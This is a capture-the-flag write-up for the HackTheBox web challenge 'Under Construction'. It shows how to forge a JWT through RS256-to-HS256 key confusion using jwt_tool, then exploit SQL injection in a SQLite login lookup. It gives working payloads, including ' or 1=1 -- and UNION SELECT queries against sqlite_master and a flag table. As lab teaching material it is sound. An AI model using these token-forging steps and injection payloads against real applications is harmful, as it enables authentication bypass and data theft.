Under Construction Writeup
10 September 2022 #CTF #HTB #chall #medium #webFirst look
Fist, don't forget to download the source code as it will come in handy soon enough.
After launching the instance, we can access the web page:
Let's register a new user and login:
There is basically nothing on this page, but if we look at our cookies, we have a JWT. Go to jwt.io to decode it:
The payload consist of our username and a RSA public key, which is quite odd.
Source Code Analysis
The getUser
function in ./helpers/DBHelper.js
is vulnerable to SQL injection:
db.get(`SELECT * FROM users WHERE username = '${username}'`, ...)
This function takes its username
parameter directly from the JWT:
// middleware/AuthMiddleware.js
let data = await JWTHelper.decode(req.cookies.session) // this is the JWT
req.data = {
username: data.username
}
// routes/index.js -> router.get('/', ...)
let user = await DBHelper.getUser(req.data.username);
However, quotes (' or ") in the username are doubled in the JWT generated in the router.post('/auth', ...)
function upon login:
// routes/index.js
let token = await JWTHelper.sign({
username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
})
We can verify this by registering a username with a quote:
Then trying to login:
This is effectively preventing us from exploiting the SQLi.
Forge JWT
We want to generate the JWT ourselves in order to controll the username
field which will allow us to exploit the SQLi.
Looking in package.json
, we see that the package jsonwebtoken
is used. After a quick search, we learn about an Authentication Bypass
The server expects an asymmetric key (RSA) but is sent a symmetric key (HMAC-SHA) with RSA's public key, so instead of going through a key validation process, the server will think the public key is actually an HMAC private key.
good post about these vulnerabilities
To exploit it, we'll use jwt_tool:
Modify the JWT to include a SQLi payload in username
:
$ jwt_tool.py -T <original jwt>
[...]
Token payload values:
[1] username = "asdf"
[2] pk = "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
"
[...]
Please select a field number:
(or 0 to Continue)
> 1
Current value of username is: asdf
Please enter new value and hit ENTER
> ' or 1=1 --
[...]
And sign the new JWT with the public key:
$ jwt_tool.py -X k -pk key.pub <modified jwt>
[...]
Exploit SQLi
Refreshing the page with our forged JWT gives this output:
We see 'Welcome user', meaning the output of the query is reflected on the page.
This is a candidate for a UNION injection:
notexist' UNION SELECT 1,2,3 -- -
We put a username that we know doesn't exist, that way the first query returns nothing and we only see output from our UNION query.
After a bit of troubleshooting, we see that we have to put what we want in the 2nd position of the SELECT:
It would be nice to have a list of tables in this DB so let's do just that:
notexist' UNION SELECT 1,GROUP_CONCAT(name),2 FROM sqlite_master WHERE type='table' -- -
The table 'sqlite_master' is a 'meta table' that holds information about the DB (like table names). The GROUP_CONCAT()
function will put all results on a single row:
That table flag_storage
looks promising, let's grab all of its data:
notexist' UNION SELECT *,2 FROM flag_storage -- -
It (again) took a bit of troubleshooting to know how many fields I had to SELECT and which one was displayed, but here is our flag:
Key Takeaways
- Authentication Bypass with key confusion in JWTs
- Use UNION injection if the result of the query is displayed